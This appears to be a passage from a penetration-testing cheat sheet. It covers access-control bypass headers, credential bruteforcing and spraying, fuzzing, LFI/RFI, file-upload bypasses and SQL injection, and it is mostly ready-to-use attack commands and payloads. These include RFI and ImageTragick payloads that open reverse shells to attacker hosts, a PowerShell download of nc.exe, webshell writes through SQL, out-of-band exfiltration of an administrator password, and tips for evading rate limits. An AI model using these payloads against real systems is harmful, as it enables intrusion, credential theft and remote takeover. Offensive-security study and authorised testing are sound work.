X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1

# Fake Origin - make GET request to accesible endpoint with:
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: /admin
# Also try with absoulte url https:/domain.com/admin

# Method Override
X-HTTP-Method-Override: PUT

# Provide full path GET
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com

# Add line wrapping
GET /index.php HTTP/1.1
 Host: vulnerable-website.com
Host: evil-website.com

# Wordlists
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers
https://github.com/danielmiessler/SecLists/tree/bbb4d86ec1e234b5d3cfa0a4ab3e20c9d5006405/Miscellaneous/web/http-request-headers
```

## Tools

```bash
# https://github.com/lobuhi/byp4xx
./byp4xx.sh https://url/path
# https://github.com/OdinF13/Bug-Bounty-Scripts

# https://github.com/mlcsec/headi
headi -url http://target.com/admin
```


# Bruteforcing

Authentication bruteforcing attacks to guess credentials or bypass login mechanisms.

> **Skill Level**: Beginner to Intermediate\
> **Prerequisites**: Basic HTTP understanding, wordlist selection

## Password Identification

```bash
# Identify hash type
hash-identifier

# Name That Hash (better)
# https://github.com/HashPals/Name-That-Hash
nth --text "5f4dcc3b5aa765d61d8327deb882cf99"

# hashid
hashid -m '$2a$10$...'  # Shows hashcat mode
```

## Wordlist Generation

```bash
# CeWL - Generate wordlist from target website
cewl https://target.com -d 3 -m 5 -w custom_wordlist.txt
cewl https://target.com --with-numbers -d 3 -w wordlist.txt

# Generate password variations
# https://github.com/edoardottt/longtongue
python3 longtongue.py -w base_words.txt -o passwords.txt

# Username wordlist from names
# https://github.com/AhmedMohamedDev/namemash.py
python namemash.py names.txt > usernames.txt
```

## HTTP Bruteforcing

### Hydra

```bash
# HTTP GET Form
hydra -L users.txt -P passwords.txt target.com http-get-form \
  "/login:username=^USER^&password=^PASS^:F=Invalid credentials"

# HTTP POST Form
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Login failed" -V

# HTTPS POST Form
hydra -l admin -P passwords.txt target.com -s 443 -S https-post-form \
  "/login:username=^USER^&password=^PASS^:F=Incorrect"

# Basic Auth
hydra -L users.txt -P passwords.txt target.com http-get /admin

# With cookies
hydra -l admin -P passwords.txt target.com http-post-form \
  "/login:user=^USER^&pass=^PASS^:F=failed:H=Cookie: session=abc123"
```

### ffuf

```bash
# POST login form
ffuf -w users.txt:USER -w passwords.txt:PASS \
  -u https://target.com/login \
  -X POST -d "username=USER&password=PASS" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -fc 401 -mc 200,302

# With rate limiting
ffuf -w passwords.txt -u https://target.com/login \
  -X POST -d "user=admin&pass=FUZZ" \
  -rate 10 -fc 401
```

### Patator

```bash
# HTTP POST
patator http_fuzz url=https://target.com/login method=POST \
  body='{"user":"admin","password":"FILE0"}' \
  0=/path/to/passwords.txt \
  accept_cookie=1 follow=1 \
  -x ignore:fgrep='Invalid'

# HTTP Basic Auth
patator http_fuzz url=https://target.com/admin \
  user_pass=FILE0:FILE1 \
  0=users.txt 1=passwords.txt \
  -x ignore:code=401
```

## Service Bruteforcing

### SSH

```bash
hydra -l root -P passwords.txt ssh://target.com
hydra -L users.txt -P passwords.txt target.com ssh -t 4

# Medusa
medusa -h target.com -u root -P passwords.txt -M ssh

# Ncrack
ncrack -p 22 --user root -P passwords.txt target.com
```

### RDP

```bash
hydra -l administrator -P passwords.txt rdp://target.com
ncrack -p 3389 --user administrator -P passwords.txt target.com

# Crowbar (RDP specific)
crowbar -b rdp -s target.com/32 -u admin -C passwords.txt -n 1
```

### FTP

```bash
hydra -L users.txt -P passwords.txt ftp://target.com
hydra -l anonymous -P passwords.txt target.com ftp
```

### SMB

```bash
hydra -L users.txt -P passwords.txt smb://target.com
crackmapexec smb target.com -u users.txt -p passwords.txt
```

### Database Services

```bash
# MySQL
hydra -l root -P passwords.txt mysql://target.com

# PostgreSQL
hydra -l postgres -P passwords.txt postgres://target.com

# MSSQL
hydra -l sa -P passwords.txt mssql://target.com

# MongoDB
nmap -p 27017 --script mongodb-brute target.com
```

### Other Services

```bash
# SNMP
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

# SMTP
hydra -l user@target.com -P passwords.txt smtp://target.com

# POP3
hydra -l user -P passwords.txt pop3://target.com

# IMAP
hydra -l user -P passwords.txt imap://target.com
```

## Evasion Techniques

```bash
# Slow down requests
hydra -l admin -P passwords.txt target.com http-post-form "/login:..." -t 1 -w 3

# Random User-Agent
hydra ... -e nsr  # Try null, same as login, reversed

# IP rotation (via proxychains)
proxychains hydra -l admin -P passwords.txt target.com http-post-form "/login:..."

# Add delays between requests
ffuf -w passwords.txt -u https://target.com/login -p 0.5-1.0
```

## Password Spraying

```bash
# Single password against many users
# https://github.com/x90skysn3k/brutespray
python brutespray.py --file nmap.gnmap -U users.txt -p 'Summer2024!' --threads 5

# CrackMapExec for AD
crackmapexec smb dc.target.com -u users.txt -p 'Password123!' --continue-on-success

# Spray single password
hydra -L users.txt -p 'Welcome1!' target.com http-post-form "/login:..."
```

## Default Credentials

```bash
# Check common default credentials
# https://github.com/ihebski/DefaultCreds-cheat-sheet
# https://many-passwords.github.io/

# Common defaults to try:
admin:admin
admin:password
root:root
test:test
guest:guest
```

## Wordlists

```bash
# Passwords
/usr/share/wordlists/rockyou.txt
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
/usr/share/seclists/Passwords/darkweb2017-top10000.txt

# Usernames
/usr/share/seclists/Usernames/top-usernames-shortlist.txt
/usr/share/seclists/Usernames/Names/names.txt
```

## Related Topics

* [Password Cracking](/others/password-cracking) - Hash cracking
* [Wordlist Reference](/others/wordlist-reference) - Wordlist selection guide


# Online hashes cracked

```bash
https://www.cmd5.org/
http://hashes.org
https://www.onlinehashcrack.com/
https://gpuhash.me/
https://crackstation.net/
https://crack.sh/
https://hash.help/
https://passwordrecovery.io/
http://cracker.offensive-security.com/
https://md5decrypt.net/en/Sha256/
https://weakpass.com/wordlists
https://hashes.com/en/decrypt/hash
```


# Crawl/Fuzz

```bash
# Crawlers
dirhunt https://url.com/
hakrawler -domain https://url.com/
python3 sourcewolf.py -h
gospider -s "https://example.com/" -o output -c 10 -d 1
gospider -S sites.txt -o output -c 10 -d 1
gospider -s "https://example.com/" -o output -c 10 -d 1 --other-source --include-subs

# Fuzzers
# ffuf
# Discover content
ffuf -recursion -mc all -ac -c -e .htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml -w six2dez/OneListForAll/onelistforall.txt -u https://url.com/FUZZ
# Headers discover
ffuf -mc all -ac -u https://hackxor.net -w six2dez/OneListForAll/onelistforall.txt -c -H "FUZZ: Hellothereheadertesting123 asd"
# Ffuf - burp
ffuf -replay-proxy http:127.0.0.1:8080
# Fuzzing extensions
# General
.htm,.shtml,.php,.html,.js,.txt,.zip,.bak,.asp,.aspx,.xml,.inc
# Backups
'.bak','.bac','.old','.000','.~','.01','._bak','.001','.inc','.Xxx'

# kr
# https://github.com/assetnote/kiterunner
kr brute https://whatever.com/ -w onelistforallmicro.txt -x 100 --fail-status-codes 404
kr scan https://whatever.com/ -w routes-small.kite -A=apiroutes-210228 -x 100 --ignore-length=34

# chameleon
# https://github.com/iustin24/chameleon
./chameleon -u http://testphp.vulnweb.com -a -A

# Best wordlists for fuzzing:
# https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content
    - raft-large-directories-lowercase.txt
    - directory-list-2.3-medium.txt
    - RobotsDisallowed/top10000.txt 
# https://github.com/assetnote/commonspeak2-wordlists/tree/master/wordswithext    - 
# https://github.com/random-robbie/bruteforce-lists
# https://github.com/google/fuzzing/tree/master/dictionaries
# https://github.com/six2dez/OneListForAll
# AIO: https://github.com/foospidy/payloads
# Check https://wordlists.assetnote.io/

# Pro tip: set "Host: localhost" as header
    
# Custom generated dictionary
gau example.com | unfurl -u paths
# Get files only
sed 's#/#\n#g' paths.txt |sort -u
# Other things
gau example.com | unfurl -u keys
gau example.com | head -n 1000 |fff -s 200 -s 404

# Hadrware devices admin panel
# https://github.com/InfosecMatter/default-http-login-hunter
default-http-login-hunter.sh https://10.10.0.1:443/

# Dirsearch
dirsearch -r -f -u https://10.11.1.111 --extensions=htm,html,asp,aspx,txt -w six2dez/OneListForAll/onelistforall.txt --request-by-hostname -t 40

# dirb
dirb http://10.11.1.111 -r -o dirb-10.11.1.111.txt

# wfuzz
wfuzz -c -z file,six2dez/OneListForAll/onelistforall.txt --hc 404 http://10.11.1.11/FUZZ

# gobuster
gobuster dir -u http://10.11.1.111 -w six2dez/OneListForAll/onelistforall.txt -s '200,204,301,302,307,403,500' -e

# Cansina
# https://github.com/deibit/cansina
python3 cansina.py -u example.com -p PAYLOAD

# Ger endpoints from JS
# LinkFinder
# https://github.com/GerbenJavado/LinkFinder
python linkfinder.py -i https://example.com -d
python linkfinder.py -i burpfile -b

# JS enumeration
# https://github.com/KathanP19/JSFScan.sh

# Tip, if 429 add one of these headers:
Client-Ip: IP
X-Client-Ip: IP
X-Forwarded-For: IP
X-Forwarded-For: 127.0.0.1
```


# LFI/RFI

## Tools

```bash
# https://github.com/kurobeats/fimap
fimap -u "http://10.11.1.111/example.php?test="
# https://github.com/P0cL4bs/Kadimus
./kadimus -u localhost/?pg=contact -A my_user_agent
# https://github.com/wireghoul/dotdotpwn
dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix
# Apache specific: https://github.com/imhunterand/ApachSAL
```

{% hint style="info" %}
**How to**

1. Look requests with filename like `include=main.inc template=/en/sidebar file=foo/file1.txt`
2. Modify and test: `file=foo/bar/../file1.txt`
   1. If the response is the same could be vulnerable
   2. If not there is some kind of block or sanitizer
3. Try to access world-readable files like `/etc/passwd /win.ini`
   {% endhint %}

## LFI

```bash
# Basic LFI
curl -s http://10.11.1.111/gallery.php?page=/etc/passwd

# If LFI, also check
/var/run/secrets/kubernetes.io/serviceaccount

# PHP Filter b64
http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config
http://10.11.1.111/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php
# Nullbyte ending
http://10.11.1.111/page=http://10.11.1.111/maliciousfile%00.txt
http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00
# Other techniques
https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c
https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd
https://abc.redact.com/static/../../../../../../../../../../../../../../../etc/passwd
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00
https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html
https://abc.redact.com/asd.php?file:///etc/passwd
https://abc.redact.com/asd.php?file:///etc/passwd%00
https://abc.redact.com/asd.php?file:///etc/passwd%00.html
https://abc.redact.com/asd.php?file:///etc/passwd%00.ext
https://abc.redact.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd
https://target.com/admin..;/
https://target.com/../admin
https://target.com/whatever/..;/admin
https://target.com/whatever.php~
# Cookie based
GET /vulnerable.php HTTP/1.1
Cookie:usid=../../../../../../../../../../../../../etc/pasdwd
# LFI Windows
http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini
http://10.11.1.111/addguestbook.php?LANG=../../../../../../../../../../../../../../../boot.ini
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00
http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.html
http://10.11.1.111/addguestbook.php?LANG=file:///C:/boot.ini
http://10.11.1.111/addguestbook.php?LANG=file:///C:/win.ini
http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.ext
http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.ext

# LFI using video upload:
https://github.com/FFmpeg/FFmpeg
https://hackerone.com/reports/226756
https://hackerone.com/reports/237381
https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
https://github.com/neex/ffmpeg-avi-m3u-xbin

# Contaminating log files
root@kali:~# nc -v 10.11.1.111 80
10.11.1.111: inverse host lookup failed: Unknown host
(UNKNOWN) [10.11.1.111] 80 (http) open
 <?php echo shell_exec($_GET['cmd']);?> 
http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig

# Common LFI to RCE:
    Using file upload forms/functions
    Using the PHP wrapper expect://command
    Using the PHP wrapper php://file
    Using the PHP wrapper php://filter
    Using PHP input:// stream
    Using data://text/plain;base64,command
    Using /proc/self/environ
    Using /proc/self/fd
    Using log files with controllable input like:
        /var/log/apache/access.log
        /var/log/apache/error.log
        /var/log/vsftpd.log
        /var/log/sshd.log
        /var/log/mail

# LFI possibilities by filetype
    ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
    SVG: Stored XSS / SSRF / XXE
    GIF: Stored XSS / SSRF
    CSV: CSV injection
    XML: XXE
    AVI: LFI / SSRF
    HTML / JS : HTML injection / XSS / Open redirect
    PNG / JPEG: Pixel flood attack (DoS)
    ZIP: RCE via LFI / DoS
    PDF / PPTX: SSRF / BLIND XXE
    
# Chaining with other vulns    
../../../tmp/lol.png —> for path traversal
sleep(10)-- -.jpg —> for SQL injection
<svg onload=alert(document.domain)>.jpg/png —> for XSS
; sleep 10; —> for command injections

# 403 bypasses
/accessible/..;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
/secret/
/secret/.
//secret//
/./secret/..
/admin..;/
/admin%20/
/%20admin%20/
/admin%20/page
/%61dmin

# Path Bypasses
# 16-bit Unicode encoding
# double URL encoding
# overlong UTF-8 Unicode encoding
….//
….\/
…./\
….\\
```

## RFI

```bash
# RFI:
http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00
Content of evil.txt:
<?php echo shell_exec("nc.exe 10.11.0.105 4444 -e cmd.exe") ?>
# RFI over SMB (Windows)
cat php_cmd.php
    <?php echo shell_exec($_GET['cmd']);?>
# Start SMB Server in attacker machine and put evil script
# Access it via browser (2 request attack):
# http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe"
# http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234

# Cross Content Hijacking:
https://github.com/nccgroup/CrossSiteContentHijacking
https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/
http://50.56.33.56/blog/?p=242

# Encoding scripts in PNG IDAT chunk:
https://yqh.at/scripts_in_pngs.php

```

## Related Topics

* [SSRF](/enumeration/web/ssrf) - Server-side request forgery
* [Command Injection](/enumeration/web/command-injection) - RCE via file inclusion
* [File Upload](/enumeration/web/upload-bypasses) - Upload to RCE
* [Web Exploits](/exploitation/web-exploits) - LFI to RCE chains
* [XXE](/enumeration/web/xxe) - XML external entity attacks


# File upload

```
# File name validation
    # extension blacklisted:
    PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
    ASP: .asp, .aspx, .cer, .asa
    Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
    Coldfusion: .cfm, .cfml, .cfc, .dbm
    Using random capitalization: .pHp, .pHP5, .PhAr
    pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc
    # extension whitelisted:
    file.jpg.php
    file.php.jpg
    file.php.blah123jpg
    file.php%00.jpg
    file.php\x00.jpg
    file.php%00
    file.php%20
    file.php%0d%0a.jpg
    file.php.....
    file.php/
    file.php.\
    file.
    .html
# Content type bypass
    - Preserve name, but change content-type
    Content-Type: image/jpeg, image/gif, image/png
# Content length:
    # Small bad code:
    <?='$_GET[x]'?>
    
# Impact by extension
asp, aspx, php5, php, php3: webshell, rce
svg: stored xss, ssrf, xxe
gif: stored xss, ssrf
csv: csv injection
xml: xxe
avi: lfi, ssrf
html, js: html injection, xss, open redirect
png, jpeg: pixel flood attack dos
zip: rce via lfi, dos
pdf, pptx: ssrf, blind xxe

# Path traversal
../../etc/passwd/logo.png
../../../logo.png

# SQLi
'sleep(10).jpg
sleep(10)-- -.jpg

# Command injection
; sleep 10;

# ImageTragick
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

# XXE .svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

# XSS svg
<svg onload=alert(document.comain)>.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
File Upload Checklist 3
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("HolyBugx XSS");
</script>
</svg>

# Open redirect svg
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>
    
# Filter Bypassing Techniques
# upload asp file using .cer & .asa extension (IIS — Windows)
# Upload .eml file when content-type = text/HTML
# Inject null byte shell.php%001.jpg
# Check for .svg file upload you can achieve stored XSS using XML payload
# put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file
# Upload large size file for DoS attack test using the image.
# (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job!
# If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command
# upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB.

# Advance Bypassing techniques
# Imagetragick aka ImageMagick:
https://mukarramkhalid.com/imagemagick-imagetragick-exploit/
https://github.com/neex/gifoeb
    
# Upload file tool
https://github.com/almandin/fuxploider
python3 fuxploider.py --url https://example.com --not-regex "wrong file type"

https://github.com/sAjibuu/upload_bypass
```

### Cheatsheet

```
upload.random123		---	To test if random file extensions can be uploaded.
upload.php			---	try to upload a simple php file.
upload.php.jpeg 		--- 	To bypass the blacklist.
upload.jpg.php 			---	To bypass the blacklist. 
upload.php 			---	and Then Change the content type of the file to image or jpeg.
upload.php*			---	version - 1 2 3 4 5 6 7.
upload.PHP			---	To bypass The BlackList.
upload.PhP			---	To bypass The BlackList.
upload.pHp			---	To bypass The BlackList.
upload .htaccess 		--- 	By uploading this [jpg,png] files can be executed as php with milicious code within it.
pixelFlood.jpg			---	To test againt the DOS.
frameflood.gif			---	upload gif file with 10^10 Frames
Malicious zTXT  		--- 	upload UBER.jpg 
Upload zip file			---	test againts Zip slip (only when file upload supports zip file)
Check Overwrite Issue		--- 	Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file
SVG to XSS			---	Check if you can upload SVG files and can turn them to cause XSS on the target app
SQLi Via File upload		---	Try uploading `sleep(10)-- -.jpg` as file
```

![](/files/-Mc98XubnHvMuxmO__Gd)


# SQLi

> **Skill Level**: Intermediate\
> **Prerequisites**: SQL basics, HTTP requests

{% embed url="<https://portswigger.net/web-security/sql-injection/cheat-sheet>" %}

{% embed url="<https://sqlwiki.netspi.com/#mysql>" %}

## Detection

### Quick Test

```bash
# Test parameter for SQLi
curl "https://target.com/page?id=1'"

# Expected vulnerable response:
# - SQL error message
# - Different page content
# - 500 Internal Server Error

# Example MySQL error:
# You have an error in your SQL syntax; check the manual that corresponds 
# to your MySQL server version for the right syntax to use near ''' at line 1

# Example MSSQL error:
# Unclosed quotation mark after the character string

# Example PostgreSQL error:
# ERROR: unterminated quoted string at or near "'"
```

## Common

```
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||'   <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
/?q=(1)or(0)=(1)

# Useful payloads
' WAITFOR DELAY '0:0:5'--
';WAITFOR DELAY '0:0:5'-- 
')) or sleep(5)='
;waitfor delay '0:0:5'--
);waitfor delay '0:0:5'--
';waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
');waitfor delay '0:0:5'--
");waitfor delay '0:0:5'--
));waitfor delay '0:0:5'--
```

## Polyglot

```sql
', ",'),"), (),., * /, <! -, -
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/
```

## Resources by type

```bash
# MySQL:
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/

# MSQQL:
http://evilsql.com/main/page2.php
http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet

# ORACLE:
http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

# POSTGRESQL:
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet

# Others
http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet
http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet
https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet
http://rails-sqli.org/
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
```

## R/W files

```bash
# Read file
UNION SELECT LOAD_FILE ("etc/passwd")-- 

# Write a file
UNION SELECT "<? system($_REQUEST['cmd']); ?>" INTO OUTFILE "/tmp/shell.php"-
```

## **Blind SQLi**

```bash
# Conditional Responses

# Request with:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

    In the DDBB it does:
    SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4' - If exists, show content or “Welcome back”

# To detect:
TrackingId=x'+OR+1=1-- OK
TrackingId=x'+OR+1=2-- KO
# User admin exist
TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- OK
# Password length
TrackingId=x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1--

# So, in the cookie header if first letter of password is greater than ‘m’, or ‘t’ or equal to ‘s’ response will be ok.

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--
xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--
z'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,6,1)='§a§'--

# Force conditional responses

TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS ERROR IF OK
TrackingId=x'+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- RETURNS NORMALLY IF KO
TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,3,1)='§a§')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;

# Time delays
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
TrackingId=x'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
TrackingId=x'; IF (1=2) WAITFOR DELAY '0:0:10'--
TrackingId=x'||pg_sleep(10)--
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

# Out-of-Band OAST (Collaborator)
Asynchronous response

# Confirm:
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--

# Exfil:
TrackingId=x'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
```

## **Second Order SQLi**

```bash
# A second-order SQL Injection, on the other hand, is a vulnerability exploitable in two different steps:
1. Firstly, we STORE a particular user-supplied input value in the DB and
2. Secondly, we use the stored value to exploit a vulnerability in a vulnerable function in the source code which constructs the dynamic query of the web application.

# Example payload:
X' UNION SELECT user(),version(),database(), 4 --
X' UNION SELECT 1,2,3,4 --

# For example, in a password reset query with user "User123' --":

$pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123' — ' and password='UserPass@123'");

# Will be:

$pwdreset = mysql_query("UPDATE users SET password='getrekt' WHERE username='User123'");

# So you don't need to know the password.

- User = ' or 'asd'='asd it will return always true
- User = admin'-- probably not check the password
```

## **sqlmap**

```bash
# Post
sqlmap -r search-test.txt -p tfUPass

# Get
sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql

# Crawl
sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3

# Full auto - FORMS
sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
# Columns 
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin
# Values
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin

sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords

# SQLMAP WAF bypass

sqlmap --level=5 --risk=3 --random-agent --user-agent -v3 --batch --threads=10 --dbs
